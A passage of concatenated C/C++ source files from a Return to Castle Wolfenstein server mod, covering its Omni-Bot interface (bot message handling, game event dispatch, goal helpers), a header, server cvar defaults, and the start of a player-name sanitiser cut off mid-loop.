if(pEnt && pEnt->inuse && pEnt->client && (pEnt->health >= 0))
{
if(pEnt->client->ps.powerups[PW_REDFLAG] || pEnt->client->ps.powerups[PW_BLUEFLAG])
{
pMsg->m_HasFlag = True;
}
}
}
break;
}
case RTCW_MSG_GDYNDESTROYABLE:
{
OB_GETMSG(RTCW_Destroyable);
if(pMsg)
{
gentity_t *pDestroyable = EntityFromHandle(pMsg->m_Entity);
if (pEnt && pEnt->inuse && pDestroyable && pDestroyable->inuse)
{
if(pDestroyable->s.eType == ET_OID_TRIGGER)
pDestroyable = pDestroyable->target_ent;
/* if (pDestroyable->s.eType == ET_EXPLOSIVE && pDestroyable->parent && pDestroyable->parent->s.eType == ET_OID_TRIGGER &&
(((pDestroyable->parent->spawnflags & ALLIED_OBJECTIVE) && pEnt->client->sess.sessionTeam == TEAM_RED) ||
((pDestroyable->parent->spawnflags & AXIS_OBJECTIVE) && pEnt->client->sess.sessionTeam == TEAM_BLUE)))
{
if (pDestroyable->health > 0)
pMsg->m_State = CONST_DESTROYABLE;
else
//pMsg->m_State = CONST_NOTDESTROYABLE;
pMsg->m_State = CONST_DESTROYABLE;
}*/
}
}
break;
}
case RTCW_MSG_GEXPLOSIVESTATE:
{
OB_GETMSG(RTCW_ExplosiveState);
if(pMsg)
{
gentity_t *pExplo = EntityFromHandle(pMsg->m_Explosive);
if(pExplo && pExplo->inuse)
{
if(pExplo->s.eType == ET_MISSILE)
{
pMsg->m_State = (pExplo->s.teamNum < 4) ? XPLO_ARMED : XPLO_UNARMED;
}
}
}
break;
}
case RTCW_MSG_GCANBEGRABBED:
{
OB_GETMSG(RTCW_CanBeGrabbed);
if(pMsg)
{
gentity_t *pFlagEnt = EntityFromHandle(pMsg->m_Entity);
if(pEnt && pEnt->client && pFlagEnt)
{
// DUPLICATE ERROR CHECK, so BG_CanItemBeGrabbed doesn't screw up.
if ( pFlagEnt->s.modelindex < 1 || pFlagEnt->s.modelindex >= bg_numItems )
{
//Com_Error( ERR_DROP, "BG_CanItemBeGrabbed: index out of range" );
pMsg->m_CanBeGrabbed = Invalid;
}
else
{
pMsg->m_CanBeGrabbed =
BG_CanItemBeGrabbed(&pFlagEnt->s, &pEnt->client->ps) ? True : False;
}
}
}
break;
}
case RTCW_MSG_SENDPM:
{
OB_GETMSG(RTCW_SendPM);
if(pMsg)
{
if(pEnt && pEnt->client)
{
BotCommand( pEnt-g_entities, va("pm %s %s", pMsg->m_TargetName, pMsg->m_Message) );
}
}
break;
}
case RTCW_MSG_GETGAMETYPE:
{
OB_GETMSG(RTCW_GameType);
if(pMsg)
{
pMsg->m_GameType = g_gametype.integer;
}
break;
}
case RTCW_MSG_SETCVAR:
{
OB_GETMSG(RTCW_CvarSet);
if(pMsg)
{
trap_Cvar_Set(pMsg->m_Cvar, pMsg->m_Value);
}
break;
}
case RTCW_MSG_GETCVAR:
{
OB_GETMSG(RTCW_CvarGet);
if(pMsg)
{
pMsg->m_Value =
trap_Cvar_VariableIntegerValue(pMsg->m_Cvar);
}
break;
}
case RTCW_MSG_SETSUICIDE:
{
OB_GETMSG(RTCW_SetSuicide);
if(pMsg)
{
if(pEnt && pEnt->client)
{
if ( pMsg->m_Suicide > 0 )
{
pEnt->client->sess.botSuicide = qtrue;
if ( pMsg->m_Persist > 0 )
pEnt->client->sess.botSuicidePersist = qtrue;
}
else
{
pEnt->client->sess.botSuicide = qfalse;
pEnt->client->sess.botSuicidePersist = qfalse;
}
}
}
break;
}
case RTCW_MSG_DISABLEBOTPUSH:
{
OB_GETMSG(RTCW_DisableBotPush);
if(pMsg)
{
if(pEnt && pEnt->client)
{
if ( pMsg->m_Push > 0 )
{
pEnt->client->sess.botPush = qtrue;
}
else
{
pEnt->client->sess.botPush = qfalse;
}
}
}
break;
}
case RTCW_MSG_GETWEAPONTAG:
{
OB_GETMSG(RTCW_GetWeaponTag);
if(pMsg)
{
if(pEnt && pEnt->item && pEnt->item->giType == IT_WEAPON)
{
if (pEnt->item->giTag)
pMsg->m_WeaponTag = Bot_WeaponGameToBot(pEnt->item->giTag);
else
pMsg->m_WeaponTag = 0;
}
else
pMsg->m_WeaponTag = 0;
}
break;
}
default:
{
return UnknownMessageType;
}
}
return Success;
}
void PrintError(const char *_error)
{
if (_error)
G_Printf("%s%s\n", S_COLOR_RED, _error);
}
void PrintMessage(const char *_msg)
{
if (_msg)
G_Printf("%s%s\n", S_COLOR_GREEN, _msg);
}
void PrintScreenText(const float _pos[3], float _duration, const obColor &_color, const char *_msg)
{
if(_msg && (g_LastScreenMessageTime != level.time))
{
trap_SendServerCommand(-1, va("cp \"%s\"", _msg));
g_LastScreenMessageTime = level.time;
}
}
const char *GetMapName()
{
char serverinfo[MAX_INFO_STRING];
trap_GetServerinfo( serverinfo, sizeof( serverinfo ) );
Q_strncpyz( level.rawmapname, Info_ValueForKey( serverinfo, "mapname" ), sizeof(level.rawmapname) );
return level.rawmapname;
}
void GetMapExtents(AABB &_aabb)
{
_aabb.m_Mins[0] = -2048.0f;
_aabb.m_Mins[1] = -2048.0f;
_aabb.m_Mins[2] = -65535.0f;
_aabb.m_Maxs[0] = 2048.0f;
_aabb.m_Maxs[1] = 2048.0f;
_aabb.m_Maxs[2] = 65535.0f;
/*if(level.mapcoordsValid)
{
_aabb.m_Mins[0] = level.mapcoordsMins[0] * 2.F;
_aabb.m_Mins[1] = level.mapcoordsMins[1] * 2.F;
_aabb.m_Mins[2] = -65535.0f;
_aabb.m_Maxs[0] = level.mapcoordsMaxs[0] * 2.F;
_aabb.m_Maxs[1] = level.mapcoordsMaxs[1] * 2.F;
_aabb.m_Maxs[2] = 65535.0f;
}
else
{
memset(&_aabb, 0, sizeof(AABB));
}*/
}
GameEntity EntityByName(const char *_name)
{
gentity_t *pEnt = G_FindByTargetname(NULL, _name);
return HandleFromEntity(pEnt);
}
GameEntity EntityFromID(const int _gameId)
{
gentity_t *pEnt = INDEXENT(_gameId);
return pEnt ? HandleFromEntity(pEnt) : GameEntity();
}
int IDFromEntity(const GameEntity _ent)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if(pEnt)
{
gentity_t *pStart = g_entities;
int iIndex = pEnt - pStart;
assert(iIndex >= 0);
return (iIndex < MAX_GENTITIES) ? iIndex : -1;
}
return -1;
}
bool DoesEntityStillExist(const GameEntity &_hndl)
{
return _hndl.IsValid() ? EntityFromHandle(_hndl) != NULL : false;
}
int GetAutoNavFeatures(AutoNavFeature *_feature, int _max)
{
int iNumFeatures = 0;
for (int i = MAX_CLIENTS; i < level.num_entities; i++)
{
gentity_t *e = &g_entities[i];
if (!e->inuse)
continue;
////////////////////////////////////////////////////////////////////////
_feature[iNumFeatures].m_Type = 0;
_feature[iNumFeatures].m_TravelTime = 0;
for(int i = 0; i < 3; ++i)
{
_feature[iNumFeatures].m_Position[i] = e->r.currentOrigin[i];
_feature[iNumFeatures].m_TargetPosition[i] = e->r.currentOrigin[i];
_feature[iNumFeatures].m_Bounds.m_Mins[0] = 0.f;
_feature[iNumFeatures].m_Bounds.m_Maxs[0] = 0.f;
AngleVectors(e->s.angles, _feature[iNumFeatures].m_Facing, NULL, NULL);
}
_feature[iNumFeatures].m_Bounds.m_Mins[0] = e->r.absmin[0];
_feature[iNumFeatures].m_Bounds.m_Mins[1] = e->r.absmin[1];
_feature[iNumFeatures].m_Bounds.m_Mins[2] = e->r.absmin[2];
_feature[iNumFeatures].m_Bounds.m_Maxs[0] = e->r.absmin[0];
_feature[iNumFeatures].m_Bounds.m_Maxs[1] = e->r.absmin[1];
_feature[iNumFeatures].m_Bounds.m_Maxs[2] = e->r.absmin[2];
//////////////////////////////////////////////////////////////////////////
if(e->classname)
{
if(!Q_stricmp(e->classname, "team_CTF_redspawn"))
_feature[iNumFeatures].m_Type = ENT_CLASS_GENERIC_PLAYERSTART_TEAM1;
else if(!Q_stricmp(e->classname, "team_CTF_bluespawn"))
_feature[iNumFeatures].m_Type = ENT_CLASS_GENERIC_PLAYERSTART_TEAM2;
else if(!Q_stricmp(e->classname, "info_player_deathmatch") ||
!Q_stricmp(e->classname, "info_player_spawn"))
{
_feature[iNumFeatures].m_Type = ENT_CLASS_GENERIC_PLAYERSTART;
}
else if(!Q_stricmp(e->classname, "target_teleporter"))
{
_feature[iNumFeatures].m_Type = ENT_CLASS_GENERIC_TELEPORTER;
gentity_t *pTarget = G_PickTarget( e->target );
if(pTarget)
{
_feature[iNumFeatures].m_TargetPosition[0] = pTarget->r.currentOrigin[0];
_feature[iNumFeatures].m_TargetPosition[1] = pTarget->r.currentOrigin[1];
_feature[iNumFeatures].m_TargetPosition[2] = pTarget->r.currentOrigin[2];
}
}
else if(!Q_stricmp(e->classname, "team_CTF_redflag"))
{
_feature[iNumFeatures].m_Type = ENT_CLASS_GENERIC_FLAG;
}
else if(!Q_stricmp(e->classname, "team_CTF_blueflag"))
{
_feature[iNumFeatures].m_Type = ENT_CLASS_GENERIC_FLAG;
}
}
if(_feature[iNumFeatures].m_Type != 0)
{
iNumFeatures++;
}
}
return iNumFeatures;
}
const char *GetGameName()
{
return GAME_VERSION;
}
const char *GetModName()
{
return OMNIBOT_MODNAME;
}
const char *GetModVers()
{
return OMNIBOT_MODVERSION;
}
const char *GetBotPath()
{
return Omnibot_GetLibraryPath();
}
const char *GetLogPath()
{
static char logpath[512];
trap_Cvar_VariableStringBuffer("fs_homepath", logpath, sizeof(logpath));
return Omnibot_FixPath(logpath);
}
};
void Bot_Interface_InitHandles()
{
for(int i = 0; i < MAX_GENTITIES; ++i)
{
m_EntityHandles[i].m_HandleSerial = 1;
m_EntityHandles[i].m_NewEntity = false;
m_EntityHandles[i].m_Used = false;
}
}
int Bot_Interface_Init()
{
/*
if(g_OmniBotEnable.integer == 0)
{
G_Printf("%s%s\n", S_COLOR_GREEN,
"Omni-bot is currently disabled with \"omnibot_enable 0\"");
return 1;
}
for(int i = 0; i < MAX_GENTITIES; ++i)
{
m_EntityHandles[i].m_HandleSerial = 1;
m_EntityHandles[i].m_NewEntity = false;
m_EntityHandles[i].m_Used = false;
}
*/
g_GoalSubmitReady = false;
g_InterfaceFunctions = new RTCWInterface;
eomnibot_error err = Omnibot_LoadLibrary(RTCW_VERSION_LATEST,
"omnibot_rtcw", Omnibot_FixPath(g_OmniBotPath.string));
if(err == BOT_ERROR_NONE)
return true;
return false;
}
int Bot_Interface_Shutdown()
{
if(IsOmnibotLoaded())
{
g_BotFunctions.pfnBotShutdown();
}
Omnibot_FreeLibrary();
return 1;
}
void Bot_Interface_Update()
{
if(IsOmnibotLoaded())
{
char buf[1024] = {0};
/*if (level.framenum == GAME_INIT_FRAMES)
Bot_Event_StartGame();*/
//////////////////////////////////////////////////////////////////////////
{
// time triggers for Omni-bot
if ( level.framenum % 20 == 0 )
{
if ( !level.twoMinute && (g_timelimit.value * 60000 - (level.time - level.startTime)) < 120000 ){
level.twoMinute = qtrue;
Bot_Util_SendTrigger(NULL, NULL, "two minute warning.", "twominute");
}
if ( !level.thirtySecond && (g_timelimit.value * 60000 - (level.time - level.startTime)) < 30000 ){
level.thirtySecond = qtrue;
Bot_Util_SendTrigger(NULL, NULL, "thirty second warning.", "thirtysecond");
}
}
}
//////////////////////////////////////////////////////////////////////////
{
static float serverGravity = 0.0f;
if(serverGravity != g_gravity.value)
{
Event_SystemGravity d = { -g_gravity.value };
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_GRAVITY, &d, sizeof(d)));
serverGravity = g_gravity.value;
}
static int cheatsEnabled = 0;
if(g_cheats.integer != cheatsEnabled)
{
Event_SystemCheats d = { g_cheats.integer?True:False };
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_CHEATS, &d, sizeof(d)));
cheatsEnabled = g_cheats.integer;
}
}
int iNumBots = 0;
for( int i = 0; i < MAX_CLIENTS; i++ )
{
if(!g_entities[i].inuse)
continue;
if (!g_entities[i].client)
continue;
if(g_entities[i].client->pers.connected != CON_CONNECTED)
continue;
/*if(i==1)
g_entities[i].flags |= FL_GODMODE;*/
// Send a spectated message to bots that are being spectated.
if ((g_entities[i].client->sess.sessionTeam == TEAM_SPECTATOR) &&
(g_entities[i].client->sess.spectatorState == SPECTATOR_FOLLOW))
{
int iDestination = g_entities[i].client->sess.spectatorClient;
Bot_Event_Spectated(iDestination, i);
}
// fake handle server commands (to prevent server command overflow)
if((g_entities[i].inuse == qtrue) && IsBot(&g_entities[i]))
{
++iNumBots;
while (trap_BotGetServerCommand(i, buf, sizeof(buf)))
{
}
}
}
if(!(g_OmniBotFlags.integer & OBF_DONT_SHOW_BOTCOUNT))
{
if(g_OmniBotPlaying.integer != iNumBots)
{
g_OmniBotPlaying.integer = iNumBots;
trap_Cvar_Set("omnibot_playing", va("%i", iNumBots));
}
}
else
{
if(g_OmniBotPlaying.integer != -1)
{
g_OmniBotPlaying.integer = -1;
trap_Cvar_Set("omnibot_playing", "-1");
}
}
//////////////////////////////////////////////////////////////////////////
// Register any pending entity updates.
for(int i = 0; i < MAX_GENTITIES; ++i)
{
if(m_EntityHandles[i].m_NewEntity && g_entities[i].inuse)
{
m_EntityHandles[i].m_NewEntity = false;
Bot_Event_EntityCreated(&g_entities[i]);
}
}
SendDeferredGoals();
//////////////////////////////////////////////////////////////////////////
// Call the libraries update.
g_BotFunctions.pfnBotUpdate();
//////////////////////////////////////////////////////////////////////////
}
}
//////////////////////////////////////////////////////////////////////////
qboolean Bot_Util_CheckForSuicide(gentity_t *ent)
{
if(ent && ent->client)
{
// Omni-bot: used for class changes, bot will /kill 2 seconds before spawn
if ( ent->client->sess.botSuicide == qtrue )
{
if(ent->client->sess.sessionTeam == TEAM_RED && !ent->client->ps.powerups[PW_BLUEFLAG])
{
if ( (g_redlimbotime.integer - (level.time%g_redlimbotime.integer)) < 2000 )
{
Cmd_Kill_f(ent);
if ( !ent->client->sess.botSuicidePersist || g_gamestate.integer != GS_PLAYING )
ent->client->sess.botSuicide = qfalse;
return qtrue;
}
}
else if(ent->client->sess.sessionTeam == TEAM_BLUE && !ent->client->ps.powerups[PW_REDFLAG])
{
if ( (g_bluelimbotime.integer - (level.time%g_bluelimbotime.integer)) < 2000 )
{
Cmd_Kill_f(ent);
if ( !ent->client->sess.botSuicidePersist || g_gamestate.integer != GS_PLAYING )
ent->client->sess.botSuicide = qfalse;
return qtrue;
}
}
}
}
return qfalse;
}
//////////////////////////////////////////////////////////////////////////
int Bot_Interface_ConsoleCommand()
{
if(IsOmnibotLoaded())
{
Arguments args;
for(int i = 0; i < trap_Argc(); ++i)
{
trap_Argv(i, args.m_Args[args.m_NumArgs++], Arguments::MaxArgLength);
}
g_BotFunctions.pfnBotConsoleCommand(args);
}
return 1;
}
//////////////////////////////////////////////////////////////////////////
void Bot_Event_ClientConnected(int _client, qboolean _isbot)
{
if(IsOmnibotLoaded())
{
Event_SystemClientConnected d;
d.m_GameId = _client;
d.m_IsBot = _isbot == qtrue ? True : False;
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_CLIENTCONNECTED, &d, sizeof(d)));
}
}
void Bot_Event_ClientDisConnected(int _client)
{
if(IsOmnibotLoaded())
{
Event_SystemClientDisConnected d = { _client };
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_CLIENTDISCONNECTED, &d, sizeof(d)));
}
}
void Bot_Event_ResetWeapons(int _client)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_RESETWEAPONS));
}
}
void Bot_Event_AddWeapon(int _client, int _weaponId)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_AddWeapon d = { _weaponId };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_ADDWEAPON, &d, sizeof(d)));
}
}
}
void Bot_Event_RemoveWeapon(int _client, int _weaponId)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_RemoveWeapon d = { _weaponId };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_REMOVEWEAPON, &d, sizeof(d)));
}
}
}
void Bot_Event_Drowning(int _client)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(RTCW_EVENT_DROWNING));
}
}
void Bot_Event_TakeDamage(int _client, gentity_t *_ent)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_TakeDamage d = { HandleFromEntity(_ent) };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(PERCEPT_FEEL_PAIN, &d, sizeof(d)));
}
}
}
void Bot_Event_Death(int _client, gentity_t *_killer, const char *_meansofdeath)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_Death d;
d.m_WhoKilledMe = HandleFromEntity(_killer);
Q_strncpyz(d.m_MeansOfDeath,
_meansofdeath ? _meansofdeath : "<unknown>", sizeof(d.m_MeansOfDeath));
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_DEATH, &d, sizeof(d)));
}
}
}
void Bot_Event_Healed(int _client, gentity_t *_whodoneit)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_Healed d = { HandleFromEntity(_whodoneit) };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_HEALED, &d, sizeof(d)));
}
}
}
void Bot_Event_RecievedAmmo(int _client, gentity_t *_whodoneit)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_Ammo d = { HandleFromEntity(_whodoneit) };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(RTCW_EVENT_RECIEVEDAMMO, &d, sizeof(d)));
}
}
}
void Bot_Event_Revived(int _client, gentity_t *_whodoneit)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_Revived d = { HandleFromEntity(_whodoneit) };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_REVIVED, &d, sizeof(d)));
}
}
}
void Bot_Event_KilledSomeone(int _client, gentity_t *_victim, const char *_meansofdeath)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_KilledSomeone d;
d.m_WhoIKilled = HandleFromEntity(_victim);
Q_strncpyz(d.m_MeansOfDeath,
_meansofdeath ? _meansofdeath : "<unknown>",
sizeof(d.m_MeansOfDeath) / sizeof(d.m_MeansOfDeath[0]));
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_KILLEDSOMEONE, &d, sizeof(d)));
}
}
}
void Bot_Event_FireWeapon(int _client, int _weaponId, gentity_t *_projectile)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_WeaponFire d = {0};
d.m_WeaponId = _weaponId;
d.m_Projectile = HandleFromEntity(_projectile);
d.m_FireMode = Primary;
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(ACTION_WEAPON_FIRE, &d, sizeof(d)));
}
}
}
void Bot_Event_Spectated(int _client, int _who)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
Event_Spectated d = { _who };
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(MESSAGE_SPECTATED, &d, sizeof(d)));
}
}
}
void Bot_Event_ChatMessage(int _to, gentity_t *_source, int _type, const char *_message)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_to]) )
{
int iMsg = PERCEPT_HEAR_GLOBALCHATMSG;
switch(_type)
{
case SAY_ALL:
iMsg = PERCEPT_HEAR_GLOBALCHATMSG;
break;
case SAY_TEAM:
// case SAY_TEAMNL:
iMsg = PERCEPT_HEAR_TEAMCHATMSG;
break;
case PRIVATE_MESSAGE:
iMsg = PERCEPT_HEAR_PRIVCHATMSG;
break;
}
Event_ChatMessage d;
d.m_WhoSaidIt = HandleFromEntity(_source);
Q_strncpyz(d.m_Message, _message ? _message : "<unknown>",
sizeof(d.m_Message) / sizeof(d.m_Message[0]));
g_BotFunctions.pfnBotSendEvent(_to, MessageHelper(iMsg, &d, sizeof(d)));
}
}
}
void Bot_Event_VoiceMacro(int _client, gentity_t *_source, int _type, const char *_message)
{
if(IsOmnibotLoaded())
{
if ( IsBot(&g_entities[_client]) )
{
int iMessageId = PERCEPT_HEAR_GLOBALVOICEMACRO;
if(_type == SAY_TEAM)
iMessageId = PERCEPT_HEAR_TEAMVOICEMACRO;
Event_VoiceMacro d;
d.m_WhoSaidIt = HandleFromEntity(_source);
Q_strncpyz(d.m_MacroString, _message ? _message : "<unknown>",
sizeof(d.m_MacroString) / sizeof(d.m_MacroString[0]));
g_BotFunctions.pfnBotSendEvent(_client, MessageHelper(iMessageId, &d, sizeof(d)));
}
}
}
void Bot_Event_Sound(gentity_t *_source, int _sndtype, const char *_name)
{
if(IsOmnibotLoaded())
{
Event_Sound d = {};
d.m_Source = HandleFromEntity(_source);
d.m_SoundType = _sndtype;
g_InterfaceFunctions->GetEntityPosition(d.m_Source,d.m_Origin);
Q_strncpyz(d.m_SoundName, _name ? _name : "<unknown>", sizeof(d.m_SoundName) / sizeof(d.m_SoundName[0]));
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_SOUND, &d, sizeof(d)));
}
}
void Bot_Event_EntityCreated(gentity_t *pEnt)
{
if(pEnt && IsOmnibotLoaded())
{
// Get common properties.
const int iEntNum = pEnt-g_entities;
GameEntity ent = HandleFromEntity(pEnt);
int iClass = g_InterfaceFunctions->GetEntityClass(ent);
if(iClass)
{
Event_EntityCreated d;
d.m_Entity = GameEntity(iEntNum, m_EntityHandles[iEntNum].m_HandleSerial);
d.m_EntityClass = iClass;
g_InterfaceFunctions->GetEntityCategory(ent, d.m_EntityCategory);
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_ENTITYCREATED, &d, sizeof(d)));
m_EntityHandles[iEntNum].m_Used = true;
}
Bot_Util_CheckForGoalEntity(ent);
}
}
extern "C"
{
void Bot_Queue_EntityCreated(gentity_t *pEnt)
{
if(pEnt)
m_EntityHandles[pEnt - g_entities].m_NewEntity = true;
}
void Bot_Event_EntityDeleted(gentity_t *pEnt)
{
if(pEnt)
{
const int iEntNum = pEnt-g_entities;
if(IsOmnibotLoaded())
{
Event_EntityDeleted d;
d.m_Entity = GameEntity(iEntNum, m_EntityHandles[iEntNum].m_HandleSerial);
g_BotFunctions.pfnBotSendGlobalEvent(MessageHelper(GAME_ENTITYDELETED, &d, sizeof(d)));
}
m_EntityHandles[iEntNum].m_Used = false;
m_EntityHandles[iEntNum].m_NewEntity = false;
while(++m_EntityHandles[iEntNum].m_HandleSerial==0) {}
}
}
//////////////////////////////////////////////////////////////////////////
void Bot_Util_SendTrigger(gentity_t *_ent, gentity_t *_activator, const char *_tagname, const char *_action)
{
if(IsOmnibotLoaded())
{
TriggerInfo triggerInfo;
triggerInfo.m_Entity = HandleFromEntity(_ent);
Q_strncpyz(triggerInfo.m_TagName, _tagname, TriggerBufferSize);
Q_strncpyz(triggerInfo.m_Action, _action, TriggerBufferSize);
g_BotFunctions.pfnBotSendTrigger(triggerInfo);
}
}
void Bot_AddDynamiteGoal(gentity_t *_ent, int _team, const char *_tag)
{
if(_team == TEAM_RED)
Bot_Util_AddGoal(_ent, RTCW_GOAL_DYNAMITE, (1 << RTCW_TEAM_ALLIES), _tag, NULL);
else
Bot_Util_AddGoal(_ent, RTCW_GOAL_DYNAMITE, (1 << RTCW_TEAM_AXIS), _tag, NULL);
}
void Bot_AddFallenTeammateGoals(gentity_t *_teammate, int _team)
{
if (_team == TEAM_RED)
Bot_Util_AddGoal(_teammate, RTCW_GOAL_FALLENTEAMMATE, (1 << RTCW_TEAM_AXIS), _GetEntityName(_teammate), NULL);
else if (_team == TEAM_BLUE)
Bot_Util_AddGoal(_teammate, RTCW_GOAL_FALLENTEAMMATE, (1 << RTCW_TEAM_ALLIES), _GetEntityName(_teammate), NULL);
}
};
#endif // OMNIBOT
<file_sep>/*
* RTCW <-> Omni-Bot interface header file.
*
*/
#ifndef __G_RTCW_INTERFACE_H__
#define __G_RTCW_INTERFACE_H__
#ifdef OMNIBOT
//#include "q_shared.h"
#include "g_local.h"
//#define NO_BOT_SUPPORT
// IMPORTANT: when changed this has to be copied manually to GAMEVERSION (g_local.h)
#define OMNIBOT_NAME "Omni-Bot:S4NDMOD"
#define OMNIBOT_MODNAME "S4NDMOD"
#define OMNIBOT_MODVERSION "2.3.0"
//////////////////////////////////////////////////////////////////////////
// g_OmniBotFlags bits
enum BotFlagOptions
{
OBF_DONT_XPSAVE = (1<<0), // Disables XPSave for bots
OBF_DONT_MOUNT_TANKS = (1<<1), // Bots cannot mount tanks
OBF_DONT_MOUNT_GUNS = (1<<2), // Bots cannot mount emplaced guns
OBF_DONT_SHOW_BOTCOUNT = (1<<3), // Don't count bots
OBF_NEXT_FLAG = (1<<4), // mod specific flags start from here
};
//////////////////////////////////////////////////////////////////////////
int Bot_Interface_Init();
void Bot_Interface_InitHandles();
int Bot_Interface_Shutdown();
void Bot_Interface_Update();
int Bot_Interface_ConsoleCommand();
//void Bot_Util_AddGoal(gentity_t *_ent, int _goaltype, int _team, const char *_tag, obUserData *_bud);
void Bot_Util_SendTrigger(gentity_t *_ent, gentity_t *_activator, const char *_tagname, const char *_action);
qboolean Bot_Util_CheckForSuicide(gentity_t *ent);
int Bot_WeaponGameToBot(int weapon);
int Bot_TeamGameToBot(int team);
int Bot_PlayerClassGameToBot(int playerClass);
void Bot_Queue_EntityCreated(gentity_t *pEnt);
void Bot_Event_EntityDeleted(gentity_t *pEnt);
//////////////////////////////////////////////////////////////////////////
void Bot_Event_ClientConnected(int _client, qboolean _isbot);
void Bot_Event_ClientDisConnected(int _client);
void Bot_Event_Drowning(int _client);
void Bot_Event_ResetWeapons(int _client);
void Bot_Event_AddWeapon(int _client, int _weaponId);
void Bot_Event_RemoveWeapon(int _client, int _weaponId);
void Bot_Event_TakeDamage(int _client, gentity_t *_ent);
void Bot_Event_Death(int _client, gentity_t *_killer, const char *_meansofdeath);
void Bot_Event_KilledSomeone(int _client, gentity_t *_victim, const char *_meansofdeath);
void Bot_Event_Revived(int _client, gentity_t *_whodoneit);
void Bot_Event_Healed(int _client, gentity_t *_whodoneit);
void Bot_Event_FireWeapon(int _client, int _weaponId, gentity_t *_projectile);
void Bot_Event_PreTriggerMine(int _client, gentity_t *_mine);
void Bot_Event_PostTriggerMine(int _client, gentity_t *_mine);
void Bot_Event_MortarImpact(int _client, vec3_t _pos);
void Bot_Event_Spectated(int _client, int _who);
void Bot_Event_ChatMessage(int _client, gentity_t *_source, int _type, const char *_message);
void Bot_Event_VoiceMacro(int _client, gentity_t *_source, int _type, const char *_message);
void Bot_Event_Sound(int _client, int _sndtype, gentity_t *_source, float *_origin, const char *_name);
void Bot_Event_RecievedAmmo(int _client, gentity_t *_whodoneit);
// goal helpers
void Bot_AddDynamiteGoal(gentity_t *_ent, int _team, const char *_tag);
void Bot_AddFallenTeammateGoals(gentity_t *_teammate, int _team);
void AddDeferredGoal(gentity_t *ent);
#endif
#endif // OMNIBOT
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
/*
* name: S4ND_Server.c
*
* desc: Put things there that are automatically set on the server
*
*/
/*
===============
S4ND_Punkbuster
===============
*/
//void S4ND_Punkbuster(gentity_t *ent) {
//}
/*
===============
S4ND_General
Server cvars are automatically set here.
Only things like sv_fps, etc should be set here,
things that will make it smoother on all servers.
===============
*/
void S4ND_General(gentity_t *ent){
//char Modname[32];
// Modname = GAMEVERSION;
trap_Cvar_Set( "sv_fps", "20" ); // Make math smooth
trap_Cvar_Set( "sv_maxping", "0" ); // Dont block out because ping to master server is weird (like me @ school :(
trap_Cvar_Set( "sv_minping", "0" ); // Why would u ever have this on unless ur a noob admin.
// trap_Cvar_Set( "sv_maxrate", "25000" ); // removed so we can screw around on other servers and make it like 1000 :)
/*
if (GAMEVERSION != 'S' &&
'4' &&
'N' &&
'D' &&
'M' &&
'o' &&
'D' &&
' ' &&
'2' &&
'.' &&
'2' &&
'.' &&
'0'){
}
if (Modname[0] == 'S' &&
Modname[1] == '4' &&
Modname[2] == 'N' &&
Modname[3] == 'D' &&
Modname[4] == 'M' &&
Modname[5] == 'o' &&
Modname[6] == 'D' &&
Modname[7] == ' ' &&
Modname[8] == '2' &&
Modname[9] == '.' &&
Modname[10]== '2'&&
Modname[11]== '.'&&
Modname[12]== '0');
*/
}
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
/*
static char *allowedChars[] = {
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"_",
"-",
"+",
"=",
"~",
"`",
"q",
"Q",
"w",
"W",
"e",
"E",
"r",
"R",
"t",
"T",
"y",
"u",
"Y",
"U",
"i",
"I",
"o",
"O",
"p",
"P",
"[",
"{",
"]",
"}",
// "\",
"|",
"A",
"a",
"S",
"s",
"D",
"d",
"F",
"f",
"G",
"g",
"H",
"h",
"J",
"j",
"K",
"k",
"L",
"l",
":",
";",
"",
"'",
"Z",
"z",
"X",
"x",
"C",
"c",
"V",
"v",
"B",
"b",
"N",
"n",
"M",
"m",
",",
"<",
".",
">",
"?",
"/",
};*/
/*
ModifyName
Removes Laggy chars from players name
*/
void modifyName(gentity_t *ent){
char name[MAX_NETNAME];
int i = 0;
Q_strncpyz(name, ent->client->pers.netname, sizeof(ent->client->pers.netname));
for (i = 0; i < sizeof(name); i++){
if (((int)name[i] >= 32) && ((int)name[i] <=126)){
continue;
